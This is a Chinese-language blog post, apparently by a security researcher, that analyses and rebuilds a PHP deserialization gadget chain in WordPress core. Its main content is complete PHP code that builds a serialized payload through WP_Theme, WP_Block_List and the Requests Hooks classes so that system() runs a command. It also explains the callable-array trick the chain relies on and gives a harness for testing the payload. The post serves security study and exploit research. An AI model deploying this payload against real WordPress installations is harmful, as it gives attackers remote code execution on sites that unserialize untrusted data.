WordPress Core RCE Gadget 分析
https://wpscan.com/blog/finding-a-rce-gadget-chain-in-wordpress-core/
前些天在 p 牛知识星球看到的, 当时跟着上面的分析过程自己构造了一遍, 感觉思路确实很有意思
本来想写篇文章的, 但是那几天有点忙, 后边就把这个事给忘了 (
分享下自己构造的 gadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
|
<?php
namespace WpOrg\Requests {
class Session {
public $url;
public $headers;
public $data;
public $options;
public function __construct( $url, $headers, $data, $options ) {
$this->url = $url;
$this->headers = $headers;
$this->data = $data;
$this->options = $options;
}
}
class Hooks {
protected $hooks;
public function __construct() {
$this->hooks = [
'requests.before_request' => [
'1' => [ [$this, "dispatch"] ]
],
'https://img.exp10it.io/Name' => [
'1' => ['system']
]
];
}
}
}
namespace {
use WpOrg\Requests\Hooks;
use WpOrg\Requests\Session;
class WP_Theme {
private $headers;
private $parent;
public function __construct( $headers, $parent ) {
$this->headers = $headers;
$this->parent = $parent;
}
}
class WP_Block_List {
protected $blocks;
protected $available_context;
protected $registry;
public function __construct( $blocks, $available_context, $registry ) {
$this->blocks = $blocks;
$this->available_context = $available_context;
$this->registry = $registry;
}
}
class WP_Block_Type_Registry {
private $registered_block_types;
public function __construct( $registered_block_types ) {
$this->registered_block_types = $registered_block_types;
}
}
$hooks_obj = new Hooks();
$options = ['hooks' => $hooks_obj];
$parent = new Session('https://img.exp10it.io/', ['id'], [], $options);
$wp_theme_another = new WP_Theme(null, $parent);
$registry = new WP_Block_Type_Registry($wp_theme_another);
$block = ['blockName' => 'Parent Theme'];
$blocks = ['Name' => $block];
$wp_block_list = new WP_Block_List($blocks, [], $registry);
$wp_theme = new WP_Theme($wp_block_list, null);
echo urlencode(serialize($wp_theme));
}
|
wpscan 原文讲的肯定比我清楚, 所以这里我就简单分享一下在构造 gadget 过程中用到的一个小 trick
我们都知道 PHP 7 支持可变函数, 通过可变函数可以调用一个类的静态方法, 这个在一些 CTF 题目里面也会遇到, 比如
1
2
3
4
5
6
7
8
|
class A {
public static function test() {
echo 'hello a';
}
}
$a = 'A::test'; // 调用 A 的 test 静态方法
$a(); // hello a
|
但是在 wordpress gadget 的构造过程中, 需要递归调用一次 WpOrg\Requests\Hooks
类的 dispatch 方法来将所有参数左移一位以方便控制参数的数量
而 dispatch 是一个普通的方法, 简单来说就是如下的场景
1
2
3
4
5
6
7
8
|
class B {
public function test() {
echo 'hello b';
}
}
$b = ...; // 控制 $b 使得能够调用 test 方法
$b();
|
这时候只需要将 $b 设置成一个数组, 数组的第一个位置是实例对象, 第二个位置是要调用的方法, 然后直接动态调用这个数组, 即可调用到 test 方法
1
2
|
$b = [new B(), 'test'];
$b(); // hello b
|
同时这个 trick 对于调用静态方法也是适用的
1
2
3
4
|
$c = ['A', 'test'];
$d = [new A(), 'test'];
$c(); // hello a
$d(); // hello a
|
有趣的是这个就在官方文档最底下, 但是不知道为啥 note 的评分是负的
https://www.php.net/manual/zh/functions.variable-functions.php
所以最终 gadget Hooks 部分的 payload 大致就是如下这种形式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
class Hooks {
protected $hooks;
public function __construct() {
$this->hooks = [
'requests.before_request' => [
'1' => [ [$this, "dispatch"] ]
],
'https://img.exp10it.io/Name' => [
'1' => ['system']
]
];
}
}
|
看了下 phpggc 的 payload, 它是弄了两个 Hooks 实例对象: $hooks 和 $hooks_recurse_once, 然后使得 $hooks 的 dispatch 去调用 $hooks_recurse_once 的 dispatch, 不过思路都是差不多的
最后说下如何调试 wordpress 的 gadget, 按照原文中写数据库的方法肯定可以, 但是比较麻烦, 因为是调试所以得越简单越好
只需要 require 当前目录下的 wp-load.php
, 然后调用 wp()
函数初始化, 之后直接调用 unserialize 进行测试即可
1
2
3
4
5
6
7
8
9
10
|
<?php
require_once __DIR__ . '/wp-load.php';
// Set up the WordPress query.
wp();
$a = unserialize(urldecode("..."));
echo $a;
|